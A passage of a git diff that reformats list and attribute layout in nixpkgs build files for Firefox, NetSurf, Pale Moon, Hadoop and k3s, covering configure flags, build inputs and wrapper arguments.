+    export MOZ_BUILD_DATE=$(head -n1 sourcestamp.txt)
 
-      # Set predictable directories for build and state
-      export MOZ_OBJDIR=$(pwd)/objdir
-      export MOZBUILD_STATE_PATH=$TMPDIR/mozbuild
+    # Set predictable directories for build and state
+    export MOZ_OBJDIR=$(pwd)/objdir
+    export MOZBUILD_STATE_PATH=$TMPDIR/mozbuild
 
-      # Don't try to send libnotify notifications during build
-      export MOZ_NOSPAM=1
+    # Don't try to send libnotify notifications during build
+    export MOZ_NOSPAM=1
 
-      # Set consistent remoting name to ensure wmclass matches with desktop file
-      export MOZ_APP_REMOTINGNAME="${binaryName}"
+    # Set consistent remoting name to ensure wmclass matches with desktop file
+    export MOZ_APP_REMOTINGNAME="${binaryName}"
 
-      # AS=as in the environment causes build failure
-      # https://bugzilla.mozilla.org/show_bug.cgi?id=1497286
-      unset AS
+    # AS=as in the environment causes build failure
+    # https://bugzilla.mozilla.org/show_bug.cgi?id=1497286
+    unset AS
 
-      # Use our own python
-      export MACH_BUILD_PYTHON_NATIVE_PACKAGE_SOURCE=system
+    # Use our own python
+    export MACH_BUILD_PYTHON_NATIVE_PACKAGE_SOURCE=system
 
-      # RBox WASM Sandboxing
-      export WASM_CC=${pkgsCross.wasi32.stdenv.cc}/bin/${pkgsCross.wasi32.stdenv.cc.targetPrefix}cc
-      export WASM_CXX=${pkgsCross.wasi32.stdenv.cc}/bin/${pkgsCross.wasi32.stdenv.cc.targetPrefix}c++
-    ''
-    + lib.optionalString pgoSupport ''
-      if [ -e "$TMPDIR/merged.profdata" ]; then
-        echo "Configuring with profiling data"
-        for i in "''${!configureFlagsArray[@]}"; do
-          if [[ ''${configureFlagsArray[i]} = "--enable-profile-generate=cross" ]]; then
-            unset 'configureFlagsArray[i]'
-          fi
-        done
-        appendToVar configureFlags --enable-profile-use=cross
-        appendToVar configureFlags --with-pgo-profile-path=$TMPDIR/merged.profdata
-        appendToVar configureFlags --with-pgo-jarlog=$TMPDIR/jarlog
-        ${lib.optionalString stdenv.hostPlatform.isMusl ''
-          LDFLAGS="$OLD_LDFLAGS"
-          unset OLD_LDFLAGS
-        ''}
-      else
-        echo "Configuring to generate profiling data"
-        configureFlagsArray+=(
-          "--enable-profile-generate=cross"
-        )
-        ${lib.optionalString stdenv.hostPlatform.isMusl
-          # Set the rpath appropriately for the profiling run
-          # During the profiling run, loading libraries from $out would fail,
-          # since the profiling build has not been installed to $out
-          ''
-            OLD_LDFLAGS="$LDFLAGS"
-            LDFLAGS="-Wl,-rpath,$(pwd)/objdir/dist/${binaryName}"
-          ''
-        }
-      fi
-    ''
-    + lib.optionalString (enableOfficialBranding && !stdenv.hostPlatform.is32bit) ''
-      export MOZILLA_OFFICIAL=1
-    ''
-    + lib.optionalString (!requireSigning) ''
-      export MOZ_REQUIRE_SIGNING=
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      # linking firefox hits the vm.max_map_count kernel limit with the default musl allocator
-      # TODO: Default vm.max_map_count has been increased, retest without this
-      export LD_PRELOAD=${mimalloc}/lib/libmimalloc.so
-    '';
+    # RBox WASM Sandboxing
+    export WASM_CC=${pkgsCross.wasi32.stdenv.cc}/bin/${pkgsCross.wasi32.stdenv.cc.targetPrefix}cc
+    export WASM_CXX=${pkgsCross.wasi32.stdenv.cc}/bin/${pkgsCross.wasi32.stdenv.cc.targetPrefix}c++
+  ''
+  + lib.optionalString pgoSupport ''
+    if [ -e "$TMPDIR/merged.profdata" ]; then
+      echo "Configuring with profiling data"
+      for i in "''${!configureFlagsArray[@]}"; do
+        if [[ ''${configureFlagsArray[i]} = "--enable-profile-generate=cross" ]]; then
+          unset 'configureFlagsArray[i]'
+        fi
+      done
+      appendToVar configureFlags --enable-profile-use=cross
+      appendToVar configureFlags --with-pgo-profile-path=$TMPDIR/merged.profdata
+      appendToVar configureFlags --with-pgo-jarlog=$TMPDIR/jarlog
+      ${lib.optionalString stdenv.hostPlatform.isMusl ''
+        LDFLAGS="$OLD_LDFLAGS"
+        unset OLD_LDFLAGS
+      ''}
+    else
+      echo "Configuring to generate profiling data"
+      configureFlagsArray+=(
+        "--enable-profile-generate=cross"
+      )
+      ${lib.optionalString stdenv.hostPlatform.isMusl
+        # Set the rpath appropriately for the profiling run
+        # During the profiling run, loading libraries from $out would fail,
+        # since the profiling build has not been installed to $out
+        ''
+          OLD_LDFLAGS="$LDFLAGS"
+          LDFLAGS="-Wl,-rpath,$(pwd)/objdir/dist/${binaryName}"
+        ''
+      }
+    fi
+  ''
+  + lib.optionalString (enableOfficialBranding && !stdenv.hostPlatform.is32bit) ''
+    export MOZILLA_OFFICIAL=1
+  ''
+  + lib.optionalString (!requireSigning) ''
+    export MOZ_REQUIRE_SIGNING=
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    # linking firefox hits the vm.max_map_count kernel limit with the default musl allocator
+    # TODO: Default vm.max_map_count has been increased, retest without this
+    export LD_PRELOAD=${mimalloc}/lib/libmimalloc.so
+  '';
 
   # firefox has a different definition of configurePlatforms from nixpkgs, see configureFlags
   configurePlatforms = [ ];
 
-  configureFlags =
+  configureFlags = [
+    "--disable-tests"
+    "--disable-updater"
+    "--enable-application=${application}"
+    "--enable-default-toolkit=${toolkit}"
+    "--with-app-name=${binaryName}"
+    "--with-distribution-id=org.nixos"
+    "--with-libclang-path=${lib.getLib llvmPackagesBuildBuild.libclang}/lib"
+    "--with-wasi-sysroot=${wasiSysRoot}"
+    # for firefox, host is buildPlatform, target is hostPlatform
+    "--host=${buildStdenv.buildPlatform.config}"
+    "--target=${buildStdenv.hostPlatform.config}"
+  ]
+  # LTO is done using clang and lld on Linux.
+  ++ lib.optionals ltoSupport [
+    "--enable-lto=cross,full" # Cross-Language LTO
+    "--enable-linker=lld"
+  ]
+  ++ lib.optional (isElfhackPlatform stdenv) (enableFeature elfhackSupport "elf-hack")
+  ++ lib.optional (!drmSupport) "--disable-eme"
+  ++ lib.optional allowAddonSideload "--allow-addon-sideload"
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # MacOS builds use bundled versions of libraries: https://bugzilla.mozilla.org/show_bug.cgi?id=1776255
+    "--enable-system-pixman"
+    "--with-system-ffi"
+    "--with-system-icu"
+    "--with-system-jpeg"
+    "--with-system-libevent"
+    "--with-system-libvpx"
+    "--with-system-nspr"
+    "--with-system-nss"
+    "--with-system-png" # needs APNG support
+    "--with-system-webp"
+    "--with-system-zlib"
+
+    # These options are not available on MacOS, even --disable-*
+    (enableFeature alsaSupport "alsa")
+    (enableFeature jackSupport "jack")
+    (enableFeature pulseaudioSupport "pulseaudio")
+    (enableFeature sndioSupport "sndio")
+  ]
+  ++ [
+    (enableFeature crashreporterSupport "crashreporter")
+    (enableFeature ffmpegSupport "ffmpeg")
+    (enableFeature geolocationSupport "necko-wifi")
+    (enableFeature gssSupport "negotiateauth")
+    (enableFeature jemallocSupport "jemalloc")
+    (enableFeature webrtcSupport "webrtc")
+
+    (enableFeature debugBuild "debug")
+    (if debugBuild then "--enable-profiling" else "--enable-optimize")
+    # --enable-release adds -ffunction-sections & LTO that require a big amount
+    # of RAM, and the 32-bit memory space cannot handle that linking
+    (enableFeature (!debugBuild && !stdenv.hostPlatform.is32bit) "release")
+    (enableFeature enableDebugSymbols "debug-symbols")
+  ]
+  ++ lib.optionals enableDebugSymbols [
+    "--disable-strip"
+    "--disable-install-strip"
+  ]
+  # As of Firefox 137 (https://bugzilla.mozilla.org/show_bug.cgi?id=1943009),
+  # the --enable-official-branding flag overrides the --with-branding flag.
+  ++ lib.optional (enableOfficialBranding && branding == null) "--enable-official-branding"
+  ++ lib.optional (branding != null) "--with-branding=${branding}"
+  ++ extraConfigureFlags;
+
+  buildInputs = [
+    bzip2
+    file
+    libGL
+    libGLU
+    libstartup_notification
+    perl
+    zip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (if lib.versionAtLeast version "138" then apple-sdk_15 else apple-sdk_14)
+    cups
+  ]
+  ++ (lib.optionals (!stdenv.hostPlatform.isDarwin) (
     [
-      "--disable-tests"
-      "--disable-updater"
-      "--enable-application=${application}"
-      "--enable-default-toolkit=${toolkit}"
-      "--with-app-name=${binaryName}"
-      "--with-distribution-id=org.nixos"
-      "--with-libclang-path=${lib.getLib llvmPackagesBuildBuild.libclang}/lib"
-      "--with-wasi-sysroot=${wasiSysRoot}"
-      # for firefox, host is buildPlatform, target is hostPlatform
-      "--host=${buildStdenv.buildPlatform.config}"
-      "--target=${buildStdenv.hostPlatform.config}"
+      dbus
+      dbus-glib
+      fontconfig
+      freetype
+      glib
+      gtk3
+      libffi
+      libevent
+      libjpeg
+      libpng
+      libvpx
+      libwebp
+      nspr
+      pango
+      xorg.libX11
+      xorg.libXcursor
+      xorg.libXdamage
+      xorg.libXext
+      xorg.libXft
+      xorg.libXi
+      xorg.libXrender
+      xorg.libXt
+      xorg.libXtst
+      xorg.pixman
+      xorg.xorgproto
+      zlib
+      (
+        if (lib.versionAtLeast version "129") then nss_latest else nss_esr # 3.90
+      )
     ]
-    # LTO is done using clang and lld on Linux.
-    ++ lib.optionals ltoSupport [
-      "--enable-lto=cross,full" # Cross-Language LTO
-      "--enable-linker=lld"
+    ++ lib.optional alsaSupport alsa-lib
+    ++ lib.optional jackSupport libjack2
+    ++ lib.optional pulseaudioSupport libpulseaudio # only headers are needed
+    ++ lib.optional sndioSupport sndio
+    ++ lib.optionals waylandSupport [
+      libxkbcommon
+      libdrm
     ]
-    ++ lib.optional (isElfhackPlatform stdenv) (enableFeature elfhackSupport "elf-hack")
-    ++ lib.optional (!drmSupport) "--disable-eme"
-    ++ lib.optional allowAddonSideload "--allow-addon-sideload"
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # MacOS builds use bundled versions of libraries: https://bugzilla.mozilla.org/show_bug.cgi?id=1776255
-      "--enable-system-pixman"
-      "--with-system-ffi"
-      "--with-system-icu"
-      "--with-system-jpeg"
-      "--with-system-libevent"
-      "--with-system-libvpx"
-      "--with-system-nspr"
-      "--with-system-nss"
-      "--with-system-png" # needs APNG support
-      "--with-system-webp"
-      "--with-system-zlib"
-
-      # These options are not available on MacOS, even --disable-*
-      (enableFeature alsaSupport "alsa")
-      (enableFeature jackSupport "jack")
-      (enableFeature pulseaudioSupport "pulseaudio")
-      (enableFeature sndioSupport "sndio")
-    ]
-    ++ [
-      (enableFeature crashreporterSupport "crashreporter")
-      (enableFeature ffmpegSupport "ffmpeg")
-      (enableFeature geolocationSupport "necko-wifi")
-      (enableFeature gssSupport "negotiateauth")
-      (enableFeature jemallocSupport "jemalloc")
-      (enableFeature webrtcSupport "webrtc")
-
-      (enableFeature debugBuild "debug")
-      (if debugBuild then "--enable-profiling" else "--enable-optimize")
-      # --enable-release adds -ffunction-sections & LTO that require a big amount
-      # of RAM, and the 32-bit memory space cannot handle that linking
-      (enableFeature (!debugBuild && !stdenv.hostPlatform.is32bit) "release")
-      (enableFeature enableDebugSymbols "debug-symbols")
-    ]
-    ++ lib.optionals enableDebugSymbols [
-      "--disable-strip"
-      "--disable-install-strip"
-    ]
-    # As of Firefox 137 (https://bugzilla.mozilla.org/show_bug.cgi?id=1943009),
-    # the --enable-official-branding flag overrides the --with-branding flag.
-    ++ lib.optional (enableOfficialBranding && branding == null) "--enable-official-branding"
-    ++ lib.optional (branding != null) "--with-branding=${branding}"
-    ++ extraConfigureFlags;
-
-  buildInputs =
-    [
-      bzip2
-      file
-      libGL
-      libGLU
-      libstartup_notification
-      perl
-      zip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (if lib.versionAtLeast version "138" then apple-sdk_15 else apple-sdk_14)
-      cups
-    ]
-    ++ (lib.optionals (!stdenv.hostPlatform.isDarwin) (
-      [
-        dbus
-        dbus-glib
-        fontconfig
-        freetype
-        glib
-        gtk3
-        libffi
-        libevent
-        libjpeg
-        libpng
-        libvpx
-        libwebp
-        nspr
-        pango
-        xorg.libX11
-        xorg.libXcursor
-        xorg.libXdamage
-        xorg.libXext
-        xorg.libXft
-        xorg.libXi
-        xorg.libXrender
-        xorg.libXt
-        xorg.libXtst
-        xorg.pixman
-        xorg.xorgproto
-        zlib
-        (
-          if (lib.versionAtLeast version "129") then nss_latest else nss_esr # 3.90
-        )
-      ]
-      ++ lib.optional alsaSupport alsa-lib
-      ++ lib.optional jackSupport libjack2
-      ++ lib.optional pulseaudioSupport libpulseaudio # only headers are needed
-      ++ lib.optional sndioSupport sndio
-      ++ lib.optionals waylandSupport [
-        libxkbcommon
-        libdrm
-      ]
-    ))
-    ++ [ (if (lib.versionAtLeast version "138") then icu77 else icu73) ]
-    ++ lib.optional gssSupport libkrb5
-    ++ lib.optional jemallocSupport jemalloc
-    ++ extraBuildInputs;
+  ))
+  ++ [ (if (lib.versionAtLeast version "138") then icu77 else icu73) ]
+  ++ lib.optional gssSupport libkrb5
+  ++ lib.optional jemallocSupport jemalloc
+  ++ extraBuildInputs;
 
   profilingPhase = lib.optionalString pgoSupport ''
     # Package up Firefox for profiling
@@ -706,7 +702,8 @@ buildStdenv.mkDerivation {
     inherit gtk3;
     inherit wasiSysRoot;
     version = packageVersion;
-  } // extraPassthru;
+  }
+  // extraPassthru;
 
   hardeningDisable = [ "format" ]; # -Werror=format-security
 
diff --git a/pkgs/applications/networking/browsers/firefox/wrapper.nix b/pkgs/applications/networking/browsers/firefox/wrapper.nix
index e994dbd9fe16..cdb5ff484a9a 100644
--- a/pkgs/applications/networking/browsers/firefox/wrapper.nix
+++ b/pkgs/applications/networking/browsers/firefox/wrapper.nix
@@ -149,38 +149,36 @@ let
           ) (lib.optionals usesNixExtensions nixExtensions);
 
       enterprisePolicies = {
-        policies =
-          {
-            DisableAppUpdate = true;
+        policies = {
+          DisableAppUpdate = true;
+        }
+        // lib.optionalAttrs usesNixExtensions {
+          ExtensionSettings = {
+            "*" = {
+              blocked_install_message = "You can't have manual extension mixed with nix extensions";
+              installation_mode = "blocked";
+            };
           }
-          // lib.optionalAttrs usesNixExtensions {
-            ExtensionSettings =
-              {
-                "*" = {
-                  blocked_install_message = "You can't have manual extension mixed with nix extensions";
-                  installation_mode = "blocked";
-                };
-              }
-              // lib.foldr (
-                e: ret:
-                ret
-                // {
-                  "${e.extid}" = {
-                    installation_mode = "allowed";
-                  };
-                }
-              ) { } extensions;
+          // lib.foldr (
+            e: ret:
+            ret
+            // {
+              "${e.extid}" = {
+                installation_mode = "allowed";
+              };
+            }
+          ) { } extensions;
 
-            Extensions = {
-              Install = lib.foldr (e: ret: ret ++ [ "${e.outPath}/${e.extid}.xpi" ]) [ ] extensions;
-            };
-          }
-          // lib.optionalAttrs smartcardSupport {
-            SecurityDevices = {
-              "OpenSC PKCS#11 Module" = "opensc-pkcs11.so";
-            };
-          }
-          // extraPolicies;
+          Extensions = {
+            Install = lib.foldr (e: ret: ret ++ [ "${e.outPath}/${e.extid}.xpi" ]) [ ] extensions;
+          };
+        }
+        // lib.optionalAttrs smartcardSupport {
+          SecurityDevices = {
+            "OpenSC PKCS#11 Module" = "opensc-pkcs11.so";
+          };
+        }
+        // extraPolicies;
       };
 
       mozillaCfg = ''
@@ -291,71 +289,70 @@ let
       ];
       buildInputs = lib.optionals (!isDarwin) [ browser.gtk3 ];
 
-      makeWrapperArgs =
-        [
-          "--prefix"
-          "LD_LIBRARY_PATH"
-          ":"
-          "${finalAttrs.libs}"
+      makeWrapperArgs = [
+        "--prefix"
+        "LD_LIBRARY_PATH"
+        ":"
+        "${finalAttrs.libs}"
 
-          "--suffix"
-          "PATH"
-          ":"
-          "${placeholder "out"}/bin"
+        "--suffix"
+        "PATH"
+        ":"
+        "${placeholder "out"}/bin"
 
-          "--set"
-          "MOZ_APP_LAUNCHER"
-          launcherName
+        "--set"
+        "MOZ_APP_LAUNCHER"
+        launcherName
 
-          "--set"
-          "MOZ_LEGACY_PROFILES"
-          "1"
+        "--set"
+        "MOZ_LEGACY_PROFILES"
+        "1"
 
-          "--set"
-          "MOZ_ALLOW_DOWNGRADE"
-          "1"
-        ]
-        ++ lib.optionals (!isDarwin) [
-          "--suffix"
-          "GTK_PATH"
-          ":"
-          "${lib.concatStringsSep ":" finalAttrs.gtk_modules}"
+        "--set"
+        "MOZ_ALLOW_DOWNGRADE"
+        "1"
+      ]
+      ++ lib.optionals (!isDarwin) [
+        "--suffix"
+        "GTK_PATH"
+        ":"
+        "${lib.concatStringsSep ":" finalAttrs.gtk_modules}"
 
-          "--suffix"
-          "XDG_DATA_DIRS"
-          ":"
-          "${adwaita-icon-theme}/share"
+        "--suffix"
+        "XDG_DATA_DIRS"
+        ":"
+        "${adwaita-icon-theme}/share"
 
-          "--set-default"
-          "MOZ_ENABLE_WAYLAND"
-          "1"
+        "--set-default"
+        "MOZ_ENABLE_WAYLAND"
+        "1"
 
-        ]
-        ++ lib.optionals (!xdg-utils.meta.broken && !isDarwin) [
-          # make xdg-open overridable at runtime
-          "--suffix"
-          "PATH"
-          ":"
-          "${lib.makeBinPath [ xdg-utils ]}"
+      ]
+      ++ lib.optionals (!xdg-utils.meta.broken && !isDarwin) [
+        # make xdg-open overridable at runtime
+        "--suffix"
+        "PATH"
+        ":"
+        "${lib.makeBinPath [ xdg-utils ]}"
 
-        ]
-        ++ lib.optionals hasMozSystemDirPatch [
-          "--set"
-          "MOZ_SYSTEM_DIR"
-          "${placeholder "out"}/lib/mozilla"
+      ]
+      ++ lib.optionals hasMozSystemDirPatch [
+        "--set"
+        "MOZ_SYSTEM_DIR"
+        "${placeholder "out"}/lib/mozilla"
 
-        ]
-        ++ lib.optionals (!hasMozSystemDirPatch && allNativeMessagingHosts != [ ]) [
+      ]
+      ++ lib.optionals (!hasMozSystemDirPatch && allNativeMessagingHosts != [ ]) [
+        "--run"
+        ''mkdir -p ''${MOZ_HOME:-~/.mozilla}/native-messaging-hosts''
+
+      ]
+      ++ lib.optionals (!hasMozSystemDirPatch) (
+        lib.concatMap (ext: [
           "--run"
-          ''mkdir -p ''${MOZ_HOME:-~/.mozilla}/native-messaging-hosts''
-
-        ]
-        ++ lib.optionals (!hasMozSystemDirPatch) (
-          lib.concatMap (ext: [
-            "--run"
-            ''ln -sfLt ''${MOZ_HOME:-~/.mozilla}/native-messaging-hosts ${ext}/lib/mozilla/native-messaging-hosts/*''
-          ]) allNativeMessagingHosts
-        );
+          ''ln -sfLt ''${MOZ_HOME:-~/.mozilla}/native-messaging-hosts ${ext}/lib/mozilla/native-messaging-hosts/*''
+        ]) allNativeMessagingHosts
+      );
 
       buildCommand =
         let
diff --git a/pkgs/applications/networking/browsers/netsurf/browser.nix b/pkgs/applications/networking/browsers/netsurf/browser.nix
index 6396009fd47a..bc734f614071 100644
--- a/pkgs/applications/networking/browsers/netsurf/browser.nix
+++ b/pkgs/applications/networking/browsers/netsurf/browser.nix
@@ -60,44 +60,44 @@ stdenv.mkDerivation (finalAttrs: {
     perlPackages.perl
     pkg-config
     xxd
-  ] ++ lib.optional (uilib == "gtk2" || uilib == "gtk3") wrapGAppsHook3;
+  ]
+  ++ lib.optional (uilib == "gtk2" || uilib == "gtk3") wrapGAppsHook3;
 
-  buildInputs =
-    [
-      check
-      curl
-      gperf
-      libXcursor
-      libXrandr
-      libidn
-      libjpeg
-      libjxl
-      libpng
-      libwebp
-      libxml2
-      openssl
+  buildInputs = [
+    check
+    curl
+    gperf
+    libXcursor
+    libXrandr
+    libidn
+    libjpeg
+    libjxl
+    libpng
+    libwebp
+    libxml2
+    openssl
 
-      libcss
-      libdom
-      libhubbub
-      libnsbmp
-      libnsfb
-      libnsgif
-      libnslog
-      libnspsl
-      libnsutils
-      libparserutils
-      libsvgtiny
-      libutf8proc
-      libwapcaplet
-      nsgenbind
-    ]
-    ++ lib.optionals (uilib == "framebuffer") [
-      expat
-      SDL
-    ]
-    ++ lib.optional (uilib == "gtk2") gtk2
-    ++ lib.optional (uilib == "gtk3") gtk3;
+    libcss
+    libdom
+    libhubbub
+    libnsbmp
+    libnsfb
+    libnsgif
+    libnslog
+    libnspsl
+    libnsutils
+    libparserutils
+    libsvgtiny
+    libutf8proc
+    libwapcaplet
+    nsgenbind
+  ]
+  ++ lib.optionals (uilib == "framebuffer") [
+    expat
+    SDL
+  ]
+  ++ lib.optional (uilib == "gtk2") gtk2
+  ++ lib.optional (uilib == "gtk3") gtk3;
 
   # Since at least 2018 AD, GCC and other compilers run in `-fno-common` mode as
   # default, in order to comply with C standards and also get rid of some bad
diff --git a/pkgs/applications/networking/browsers/netsurf/libparserutils.nix b/pkgs/applications/networking/browsers/netsurf/libparserutils.nix
index 55bc05cbbf11..9541103975a6 100644
--- a/pkgs/applications/networking/browsers/netsurf/libparserutils.nix
+++ b/pkgs/applications/networking/browsers/netsurf/libparserutils.nix
@@ -16,14 +16,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-MX7VxxjxeSe1chl0uuXeMsP9bQVdsTGtMbQxKgMu0Tk=";
   };
 
-  buildInputs =
-    [
-      perl
-      buildsystem
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    perl
+    buildsystem
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   makeFlags = [
     "PREFIX=$(out)"
diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index f06f97e6cf0a..20658e875909 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -37,17 +37,16 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      dbus-glib
-      gtk2-x11
-      libXt
-      (lib.getLib stdenv.cc.cc)
-    ]
-    ++ lib.optionals withGTK3 [
-      gtk3
-    ];
+  buildInputs = [
+    alsa-lib
+    dbus-glib
+    gtk2-x11
+    libXt
+    (lib.getLib stdenv.cc.cc)
+  ]
+  ++ lib.optionals withGTK3 [
+    gtk3
+  ];
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/applications/networking/cluster/hadoop/default.nix b/pkgs/applications/networking/cluster/hadoop/default.nix
index 554e4fa4b29a..105621a2598a 100644
--- a/pkgs/applications/networking/cluster/hadoop/default.nix
+++ b/pkgs/applications/networking/cluster/hadoop/default.nix
@@ -65,7 +65,8 @@ let
 
       nativeBuildInputs = [
         makeWrapper
-      ] ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [ autoPatchelfHook ];
       buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
         (lib.getLib stdenv.cc.cc)
         openssl
@@ -75,67 +76,66 @@ let
         libtirpc
       ];
 
-      installPhase =
-        ''
-          mkdir $out
-          mv * $out/
-        ''
-        + lib.optionalString stdenv.hostPlatform.isLinux ''
-          for n in $(find ${finalAttrs.containerExecutor}/bin -type f); do
-            ln -sf "$n" $out/bin
-          done
+      installPhase = ''
+        mkdir $out
+        mv * $out/
+      ''
+      + lib.optionalString stdenv.hostPlatform.isLinux ''
+        for n in $(find ${finalAttrs.containerExecutor}/bin -type f); do
+          ln -sf "$n" $out/bin
+        done
 
-          # these libraries are loaded at runtime by the JVM
-          ln -s ${lib.getLib cyrus_sasl}/lib/libsasl2.so $out/lib/native/libsasl2.so.2
-          ln -s ${lib.getLib openssl}/lib/libcrypto.so $out/lib/native/
-          ln -s ${lib.getLib zlib}/lib/libz.so.1 $out/lib/native/
-          ln -s ${lib.getLib zstd}/lib/libzstd.so.1 $out/lib/native/
-          ln -s ${lib.getLib bzip2}/lib/libbz2.so.1 $out/lib/native/
-          ln -s ${lib.getLib snappy}/lib/libsnappy.so.1 $out/lib/native/
+        # these libraries are loaded at runtime by the JVM
+        ln -s ${lib.getLib cyrus_sasl}/lib/libsasl2.so $out/lib/native/libsasl2.so.2
+        ln -s ${lib.getLib openssl}/lib/libcrypto.so $out/lib/native/
+        ln -s ${lib.getLib zlib}/lib/libz.so.1 $out/lib/native/
+        ln -s ${lib.getLib zstd}/lib/libzstd.so.1 $out/lib/native/
+        ln -s ${lib.getLib bzip2}/lib/libbz2.so.1 $out/lib/native/
+        ln -s ${lib.getLib snappy}/lib/libsnappy.so.1 $out/lib/native/
 
-          # libjvm.so is in different paths for java 8 and 11
-          # libnativetask.so in hadooop 3 and libhdfs.so in hadoop 2 depend on it
-          find $out/lib/native/ -name 'libnativetask.so*' -o -name 'libhdfs.so*' | \
-            xargs -n1 patchelf --add-rpath $(dirname $(find ${finalAttrs.jdk.home} -name libjvm.so | head -n1))
+        # libjvm.so is in different paths for java 8 and 11
+        # libnativetask.so in hadooop 3 and libhdfs.so in hadoop 2 depend on it
+        find $out/lib/native/ -name 'libnativetask.so*' -o -name 'libhdfs.so*' | \
+          xargs -n1 patchelf --add-rpath $(dirname $(find ${finalAttrs.jdk.home} -name libjvm.so | head -n1))
 
-          # NixOS/nixpkgs#193370
-          # This workaround is needed to use protobuf 3.19
-          # hadoop 3.3+ depends on protobuf 3.18, 3.2 depends on 3.8
-          find $out/lib/native -name 'libhdfspp.so*' | \
-            xargs -r -n1 patchelf --replace-needed libprotobuf.so.${
-              if (lib.versionAtLeast finalAttrs.version "3.4.1") then
-                "32"
-              else if (lib.versionAtLeast finalAttrs.version "3.3") then
-                "18"
-              else
-                "8"
-            } libprotobuf.so
+        # NixOS/nixpkgs#193370
+        # This workaround is needed to use protobuf 3.19
+        # hadoop 3.3+ depends on protobuf 3.18, 3.2 depends on 3.8
+        find $out/lib/native -name 'libhdfspp.so*' | \
+          xargs -r -n1 patchelf --replace-needed libprotobuf.so.${
+            if (lib.versionAtLeast finalAttrs.version "3.4.1") then
+              "32"
+            else if (lib.versionAtLeast finalAttrs.version "3.3") then
+              "18"
+            else
+              "8"
+          } libprotobuf.so
 
-          patchelf --replace-needed libcrypto.so.1.1 libcrypto.so \
-            $out/lib/native/{libhdfs{pp,}.so*,examples/{pipes-sort,wordcount-nopipe,wordcount-part,wordcount-simple}}
+        patchelf --replace-needed libcrypto.so.1.1 libcrypto.so \
+          $out/lib/native/{libhdfs{pp,}.so*,examples/{pipes-sort,wordcount-nopipe,wordcount-part,wordcount-simple}}
 
-        ''
-        + ''
-          for n in $(find $out/bin -type f ! -name "*.*"); do
-            wrapProgram "$n"\
-              --set-default JAVA_HOME ${finalAttrs.jdk.home}\
-              --set-default HADOOP_HOME $out/\
-              --run "test -d /etc/hadoop-conf && export HADOOP_CONF_DIR=\''${HADOOP_CONF_DIR-'/etc/hadoop-conf/'}"\
-              --set-default HADOOP_CONF_DIR $out/etc/hadoop/\
-              --prefix PATH : "${
-                lib.makeBinPath [
-                  bash
-                  coreutils
-                  which
-                ]
-              }"\
-              --prefix JAVA_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
-          done
-        ''
-        + (lib.optionalString sparkSupport ''
-          # Add the spark shuffle service jar to YARN
-          cp ${spark.src}/yarn/spark-${spark.version}-yarn-shuffle.jar $out/share/hadoop/yarn/
-        '');
+      ''
+      + ''
+        for n in $(find $out/bin -type f ! -name "*.*"); do
+          wrapProgram "$n"\
+            --set-default JAVA_HOME ${finalAttrs.jdk.home}\
+            --set-default HADOOP_HOME $out/\
+            --run "test -d /etc/hadoop-conf && export HADOOP_CONF_DIR=\''${HADOOP_CONF_DIR-'/etc/hadoop-conf/'}"\
+            --set-default HADOOP_CONF_DIR $out/etc/hadoop/\
+            --prefix PATH : "${
+              lib.makeBinPath [
+                bash
+                coreutils
+                which
+              ]
+            }"\
+            --prefix JAVA_LIBRARY_PATH : "${lib.makeLibraryPath finalAttrs.buildInputs}"
+        done
+      ''
+      + (lib.optionalString sparkSupport ''
+        # Add the spark shuffle service jar to YARN
+        cp ${spark.src}/yarn/spark-${spark.version}-yarn-shuffle.jar $out/share/hadoop/yarn/
+      '');
 
       passthru = { inherit tests; };
 
diff --git a/pkgs/applications/networking/cluster/k3s/builder.nix b/pkgs/applications/networking/cluster/k3s/builder.nix
index 6d23342c9136..a165b8f68fb7 100644
--- a/pkgs/applications/networking/cluster/k3s/builder.nix
+++ b/pkgs/applications/networking/cluster/k3s/builder.nix
@@ -466,26 +466,25 @@ buildGoModule rec {
     runHook postInstallCheck
   '';
 
-  passthru =
-    {
-      inherit airgapImages;
-      k3sCNIPlugins = k3sCNIPlugins;
-      k3sContainerd = k3sContainerd;
-      k3sRepo = k3sRepo;
-      k3sRoot = k3sRoot;
-      k3sBundle = k3sBundle;
-      mkTests =
-        version:
-        let
-          k3s_version = "k3s_" + lib.replaceStrings [ "." ] [ "_" ] (lib.versions.majorMinor version);
-        in
-        lib.mapAttrs (name: value: nixosTests.k3s.${name}.${k3s_version}) nixosTests.k3s;
-      tests = passthru.mkTests k3sVersion;
-      updateScript = updateScript;
-    }
-    // (lib.mapAttrs' (
-      name: _: lib.nameValuePair (kebabToCamel name) (fetchurl imagesVersions.${name})
-    ) imagesVersions);
+  passthru = {
+    inherit airgapImages;
+    k3sCNIPlugins = k3sCNIPlugins;
+    k3sContainerd = k3sContainerd;
+    k3sRepo = k3sRepo;
+    k3sRoot = k3sRoot;
+    k3sBundle = k3sBundle;
+    mkTests =
+      version:
+      let
+        k3s_version = "k3s_" + lib.replaceStrings [ "." ] [ "_" ] (lib.versions.majorMinor version);
+      in
+      lib.mapAttrs (name: value: nixosTests.k3s.${name}.${k3s_version}) nixosTests.k3s;
+    tests = passthru.mkTests k3sVersion;
+    updateScript = updateScript;
+  }
+  // (lib.mapAttrs' (
